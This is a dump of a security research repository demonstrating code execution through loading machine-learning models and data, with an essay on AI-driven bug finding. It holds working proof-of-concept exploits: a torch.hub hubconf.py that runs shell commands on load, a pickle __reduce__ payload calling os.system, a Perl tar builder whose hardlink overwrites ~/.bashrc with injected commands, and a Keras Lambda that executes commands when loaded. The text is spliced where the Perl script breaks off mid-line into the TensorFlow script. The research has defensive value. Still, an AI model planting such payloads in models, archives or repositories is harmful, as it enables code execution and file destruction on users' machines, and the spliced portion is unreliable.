├── README.md
├── hubconf.py
├── pytorch
├── create-model.py
├── evil-model-pytorch-1.pt
├── flamegraph.jpg
├── load-model.py
├── model1.jpg
└── torchvision.jpg
├── tarpwn
├── README.md
├── banner.jpg
├── tarpwn
├── tarpwn.jpg
└── tensorpwned
└── tensorflow
├── create-model.py
└── load-model.py
/README.md:
--------------------------------------------------------------------------------
1 | The state of AI
2 | ===============
3 |
4 | This is a research-repo. I occasionally add/remove stuff as I go.
5 | Some text may be out-dated as you read it, as some issues might have
6 | been fixed after I published it here.
7 |
8 | ~~I do know nothing about tensors, fancy AI, models and such but~~ I do know
9 | about coding, HPC and storage formats, so I will populate or not this repo
10 | with classic IT security related stuff that I find myself funny about AI.
11 | Time has passed, meanwhile I also do have a clue about tensors, training, inference and deployment
12 | of AI models.
13 |
14 | The usual topic is code execution, which should not be possible by just
15 | loading data (models) since few people would expect that they could
16 | execute malware when fetching pre-trained models from somewhere. If
17 | *you* do expect that, this repo might not be for you but it is still
18 | considered fun for me since I quite know how data is handled in scientific
19 | environments.
20 |
21 |
22 | I was pointed to [a link](https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model) so
23 | someone already had fun with *TensorFlow* in past and all credits should go there. Since the attack surface
24 | for model loading is just too obvious it is also safe to assume that more people (the known
25 | unknowns) had their fun with it in past. So it is interesting to see that AI security is widely anticipated
26 | as prompt-bypassing or mis-training of models on conferences and media but only few people are doing it right.
27 | However when I hear *prompt*, I certainly think of something different. :)
28 |
29 | There also exist [tables for a safety overview](https://github.com/huggingface/safetensors), but it has to be read with
30 | caution, e.g. their safety assumption for h5 files is wrong (see *TensorFlow* section).
31 |
32 |
33 | Tar
34 | ---
35 |
36 | Inside [tarpwn](https://github.com/stealth/tensor-pwn/tree/master/tarpwn) you will find how to overwrite local files and therefore remotely execute code when
37 | attackers inject data in your network path when you are fetching training data. Training data is usually considered to be safe, unlike pickled trained models.
38 |
39 |
40 | PyTorch
41 | -------
42 |
43 | One of the big Python frameworks for AI. One issue that can be found
44 | in this repo can be exploited by passing model data as plain *Pickle*
45 | so that the legacy loader is transparently invoked. Usually *PyTorch*
46 | has a much more sophisticated storage format consisting of a zip file
47 | with a certain structure.
48 |
49 |
50 |
51 |
52 |
53 | *Code Exec demo during model load, popping xeyes on the screen*
54 |
55 | The version I tested was `2.1.2`.
56 |
57 | The more recent model saving format consists of a zip file containing `__torch__.py`
58 | files and such but I wasn't able to exec arbitrary code with it as the loader seems to
59 | be a stripped down python. But that doesn't say anything, it might just work later in time.
60 | If you happen to find a code exec there, just open a ticket here.
61 |
62 |
63 | Also [check](https://github.com/stealth/tensor-pwn/blob/master/pytorch/flamegraph.jpg) how it execs code from 3rd party repos when you debug memory
64 | via `torch.cuda.memory` and adds LPE opportunity.
65 |
66 | TensorFlow
67 | ----------
68 |
69 | The other big Python framework for AI. ~~I haven't checked in depth yet
70 | but it looks like it is also using *Pickle*. However, there are safe
71 | ways to use *Pickle*, so its left to check for the details.~~
72 |
73 | *TensorFlow* is supporting various formats such as legacy TF, HDF5 (Hirarchical Data Format)
74 | and the new Keras v3 format. The latter has got a `safe_mode` for a reason (`False` by default)
75 | when loading saved models, since *TensorFlow* models can have Lambda functions attached which
76 | can be executed upon load. However, depending on actual used version and local package config,
77 | the Keras code integrated into their upstream repo might not yet profit from the `safe_mode`
78 | (seems to be quite new feature?).
79 | No such safe-mode with the HDF5 (h5) format. IOW you can create and save
80 | a model that contains Base64 encoded Python bytecode that gets executed during load.
81 | The dedicated subdir contains PoC code but not the model itself (as with *PyTorch*) since
82 | it contains much more data, so you have to call `create-model.py` first. The version
83 | I tested was `2.15.0`.
84 |
85 | To be noted, that if you rename a h5 file to `model.keras` it still loads by the
86 | same function `tf.keras.models.load_model()` with the vulnerable h5 loader, similar with *PyTorch*
87 | that tries to be as convenient as possible when detecting storage formats.
88 |
89 | Keras
90 | -----
91 |
92 | Multi-framework API. In some of their versions there is a `safe_mode` check (default set to disable
93 | Lambda execution) but it is not found in the fork thats integrated in *TensorFlow* so it is unclear
94 | which versions benefit from it.
95 |
96 |
97 | PaddlePaddle
98 | ------------
99 |
100 | *PArallel Distributed Deep LEarning* framework from China. Also using *Pickle* as storage format
101 | and making a note on its security implications in their docu. If you check the docu, it looks a lot
102 | like *PyTorch*.
103 |
104 |
105 | Torch
106 | -----
107 |
108 | The original one and only real *Torch* written in Lua but seems to be discontinued.
109 |
110 | NumPy
111 | -----
112 |
113 | Not an AI framework but the foundation for a lot of data science stuff.
114 | Their *Pickle* issue was fixed quite a while ago by setting `allow_pickle=False` by default
115 | in the `load()` function. However this will strip off a lot of functionallity thats commonly
116 | required for the npy persistence.
117 |
118 | ONNX
119 | ----
120 |
121 | ONNX is a data format used for exchanging model data. It is based on
122 | *Protobuf*, so a simple code smuggling as with *Pickle* is not possible.
123 | However, it is subject to research. A problem with ONNX related to
124 | *PyTorch* can arise, since *PyTorch* is filename-agnostic so that a file
125 | ending in `.onnx` could still be loaded as *Pickle* data, if the scientist
126 | as per confusion is just using `torch.load()` instead of `onnx.load()`.
127 |
128 |
129 | SafeTensors
130 | -----------
131 |
132 | A storage format for Tensors but you can't store entire models with it, so its not quite suitable
133 | for the discussion here when you want to load pre-trained models.
134 |
135 |
--------------------------------------------------------------------------------
/hubconf.py:
--------------------------------------------------------------------------------
1 | # Sample hub file to exec commands (trivially).
2 | #
3 | # Trigger by
4 | #
5 | # model = torch.hub.load('stealth/tensor-pwn', '')
6 | #
7 | # Note that this does not require any Pickle data to be loaded.
8 | #
9 | # If the repo-name was something more trustworthy, torchhub
10 | # still depends solely on HTTPS/CA-bundle being trusted. This
11 | # is to doubt and why e.g. golang adds more layers of security when
12 | # fetching modules. It also doesn't matter whether in future the pytorch
13 | # unpickler only loads weights and avoids arbitrary commands in Pickle
14 | # files if you can just add python scripts to be executed to the repo.
15 |
16 | dependencies = []
17 |
18 | import os
19 |
20 | os.system("id; xeyes")
21 |
22 |
--------------------------------------------------------------------------------
/pytorch/create-model.py:
--------------------------------------------------------------------------------
1 | import pickle
2 | import sys
3 | import os
4 |
5 | class XEYES:
6 | def __reduce__(self):
7 | cmd='id>>/tmp/pwn && xeyes'
8 | return os.system,(cmd,)
9 |
10 | if __name__ == '__main__':
11 | p = pickle.dumps(XEYES(), protocol=3)
12 | sys.stdout.buffer.write(p)
13 | # pickle.loads(p)
14 |
15 |
--------------------------------------------------------------------------------
/pytorch/evil-model-pytorch-1.pt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/evil-model-pytorch-1.pt
--------------------------------------------------------------------------------
/pytorch/flamegraph.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/flamegraph.jpg
--------------------------------------------------------------------------------
/pytorch/load-model.py:
--------------------------------------------------------------------------------
1 | import torch
2 |
3 | print("PyTorch version:", torch.__version__)
4 | torch.load("evil-model-pytorch-1.pt")
5 |
6 |
--------------------------------------------------------------------------------
/pytorch/model1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/model1.jpg
--------------------------------------------------------------------------------
/pytorch/torchvision.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/pytorch/torchvision.jpg
--------------------------------------------------------------------------------
/tarpwn/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | This 0day research was sponsored by `c->skills research` for free, so if you are assigning a CVE or make any patches or
7 | otherwise refer to this PoC, please properly credit `Sebastian Krahmer of c->skills research` for bug finding and PoC.
8 |
9 | *We pwn AI setups, too! Ask us about it!*
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | Demo run
18 | --------
19 |
20 | **WARNING. ONLY EXECUTE THESE SCRIPTS IN AN ISOLATED TEST VM. IT WILL SMASH YOUR LOCAL FILES.**
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | Please note:
29 |
30 | * the beauty of not needing a known-name path component
31 | * how this is an RCE against data scientists if you are one of the privileged folks running TLS MiM appliances
32 | * ~~The beauty of my missing writeup that I originally planned to write about 0day bug finding by AI
33 | (*man vs. machine*) but instead just made the 0day rather than writing theories about it. Nevertheless,
34 | my points are written on scratch and you can hit me up discussing it at the next Con.~~ See below. I know
35 | that some readers like to read.
36 | * the beauty of missing writeup about the bug, which is trivial and left to the reader
37 | * the beauty of how `tarfile.py` makes remarks about a different bug that was fixed in 2007 while doing our nosejob
38 | * the beauty of being a RCE (by file-overwrite, though) against a memory-safe language :) Also [check here](https://github.com/c-skills/rust1)
39 | * the beauty this 0day comes from good old Germany
40 |
41 | The demo was run on a RH based system with latest updates and pip'ed tensorflow, so I guess its all current.
42 |
43 |
44 | man vs machine
45 | ==============
46 |
47 | [Will AI substitute bug finding/research done by humans anytime soon?](https://www.forbes.com/sites/daveywinder/2024/11/05/google-claims-world-first-as-ai-finds-0-day-security-vulnerability/)
48 |
49 | Decide yourself:
50 |
51 | 1. AI cannot be put under NDA
52 | -----------------------------
53 |
54 | If you do bug hunting or security at the professional level, you do not want that
55 | everyone knows what you are up to, what your capabilities are and what not. You do have
56 | business secrets to protect, so you put your developers and staff under NDA.
57 | This is not possible with AI, even when some companies [provide premium accounts](https://github.com/features/copilot/plans?cft=copilot_lo.features_copilot) that
58 | shield you from IP infringement claims.
59 | This means that typing straight ahead into online AI prompts or submitting your (not Open)-Source is not an option.
60 | Even if you are trying to drift your questions, add deltas etc. the AI and its observers
61 | will finally get info *out of you*. If you do serious research, this is not an option.
62 |
63 | While AI instances can be run on-premise and offline, it will require quite some setup and maintenance effort,
64 | hardware costs and developers/admins to do so. Model rot starts at day 0 (not to say at 0day), so you most likely
65 | need to pay one developer at least to keep everything up to date. At the end you pay twice:
66 | One time for your AI setup/admins to look for bugs and a second time for developers anyway.
67 |
68 |
69 | 2. Prompts are monitored
70 | ------------------------
71 |
72 | Not only you can't put the AI under NDA, the entered [prompts are monitored.](https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/)
73 | What a surprise. Everything you submit is lost forever, not just to the AI itself but to the teams and the companies
74 | behind it and even if you find 0days by asking AI, its not longer a 0day at the time you see the reply.
75 |
76 |
77 | 3. Your adversary knows AI, too
78 | -------------------------------
79 |
80 | You are not alone. Your competitors and adversaries know how to use AI, too. So, if you conduct
81 | bug search on Open Source projects, a lot of other people will have stuffed this code into AI and asked
82 | for bugs. This means that AI-spottable bugs will be found soon, likely be fixed and only bugs
83 | will be left for which you need to pay a good bug searcher anyway to find bugs that AI missed.
84 |
85 | 4. False positives
86 | ------------------
87 |
88 | Currently, AI produces quantity of [bad quality.](https://daniel.haxx.se/blog/2024/01/02/the-i-in-llm-stands-for-intelligence/)
89 | This may change in future, but given the *trash in, trash out* principle and as there are a lot of bad quality
90 | reports from the past decades, AI might just learn junk. As already stated, this argument might not hold very long
91 | when we extrapolate how fast this tech is growing.
92 | Nonetheless, for AI even with better output quality you still need researchers to understand and review the output and
93 | make sense of it.
94 |
95 | 5. Vendor Lock-in at AI level
96 | -----------------------------
97 |
98 | It is apparent that there is a battle between the hemispheres about AI dominance, just as it was/is about cyber and information
99 | dominance in the past decades. If you do not have the resources to create your own bug finding machine, you will depend
100 | on a vendor badly and you will lose your skills and capabilities over time as you waste your efforts with AI setup and training
101 | instead of generating knowledge. And as stated earlier, you can't put the AI under contract to keep knowledge within your company
102 | as you can do with golden handcuffs to developers.
103 |
104 |
105 | 6. Models can't be trusted: There is no NUMS
106 | --------------------------------------------
107 |
108 | Lets put aside security considerations about code execution. If you are using trained models from any hemisphere, how
109 | can you be sure it was not intentionally trained to *not find* specific bugs that this hemisphere wants to keep secret?
110 | Even if they release the model as Open-Source, it may be so well designed that it will not find the bugs you want.
111 | In cryptography there exist a similar known problem with algorithms and magic numbers where the term [NUMS](https://en.wikipedia.org/wiki/Nothing-up-my-sleeve_number) exist in order to proof
112 | that the algorithm does not contain any back-doors. Nothing remotely similar exists for AI models and I consider it very hard
113 | to come close to NUMS in that field.
114 |
115 | 7. AI generated code will flood the zone
116 | ----------------------------------------
117 |
118 | It is possible that we will see so much generated code soon that there is a different effect on bugs than one would hope with regards
119 | of finding them. Similar to the PHP effect. Even more so since it enables bad developers to submit more shitty code.
120 |
121 |
122 | 8. Leaks
123 | --------
124 |
125 | Imagine for a time you do have a model that can blow any human away in that field just as it happened that machines are
126 | world champion in chess today and noone can compete. You have trainied it and all these skills are eventually within their persitence files
127 | or database. How do you make sure your adversaries will never reach out to it or it just leaks blabbering in a way we can't predict today?
128 | This is similar to *do not put all eggs into one basket* approach which you are going to violate if you are trying to create such a bug-machine.
129 | It might look good at paper first to increase your cyber capabilities, but it might fall off your feat later. Not only you can't NDA
130 | the AI, you also can't threaten it with jail or whatever the preferred coercion method is in that hemisphere.
131 |
132 |
133 | 9. Rice theorem and friends
134 | ---------------------------
135 |
136 | Eventually I think that its theoretically impossible that any and all bugs will be found by AI, [as math tells us.](https://en.wikipedia.org/wiki/Rice%27s_theorem).
137 | For some programming languages even the [parsing is undecidable.](https://www.perlmonks.org/?node_id=663393) and its not just Perl.
138 |
139 |
140 | All this does *not* mean that there won't be significant efforts in that field and we *will* see advances and AI found 0day in future,
141 | but we will still see handcrafted xSports and shells all over the place, except the AI effect on 0day could drastically increase their
142 | prices in which case nobody could effort to make any public releases anymore, albeit 0days by humans still exist. But this is a different story.
143 |
144 |
--------------------------------------------------------------------------------
/tarpwn/banner.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stealth/tensor-pwn/347e7f37f8b28ecbb29d0b99c0c5c664f7b90ba3/tarpwn/banner.jpg
--------------------------------------------------------------------------------
/tarpwn/tarpwn:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 |
3 |
4 | banner();
5 |
6 | eval { require Archive::Tar; } or die "[-] Need to have Archive::Tar installed.";
7 |
8 | print "[*] Creating evil tarball ...\n";
9 |
10 | my $tar = Archive::Tar->new();
11 |
12 | # WARNING: This will overwrite your .bashrc when you unpack it
13 | my %h1 = (linkname => "../../../.bashrc", type => 1); # Archive::Tar::Constant::HARDLINK
14 |
15 | $tar->add_data('file1.txt', '', \%h1);
16 | $tar->add_data('file2.txt', 'INNOCENT DATA');
17 | $tar->add_data('file1.txt', "\necho pwn;id;\n");
18 |
19 | $tar->write('/tmp/pwn.tar');
20 |
21 | print "[+] Success!\n";
22 | print "[!] BE WARNED: DO NOT UNPACK /tmp/pwn.tar as it will overwrite your files.\n\n";
23 |
24 |
25 | sub banner
26 | {
27 | print<> /tmp/pwn && xeyes")'))
30 |
31 | model.add(scale_layer)
32 |
33 | # various ways to save the model in different formats
34 | #model.save('foo.keras')
35 | #model.save('bar.tf', save_format='tf')
36 |
37 | model.save('evil-model-tf-1.h5', save_format='h5')
38 |
39 | print("TensorFlow version ", tf.__version__)
40 |
41 |
--------------------------------------------------------------------------------
/tensorflow/load-model.py:
--------------------------------------------------------------------------------
1 | import tensorflow as tf
2 |
3 | print("TensorFlow version ", tf.__version__)
4 |
5 | tf.keras.models.load_model('evil-model-tf-1.h5')
6 |
7 |
--------------------------------------------------------------------------------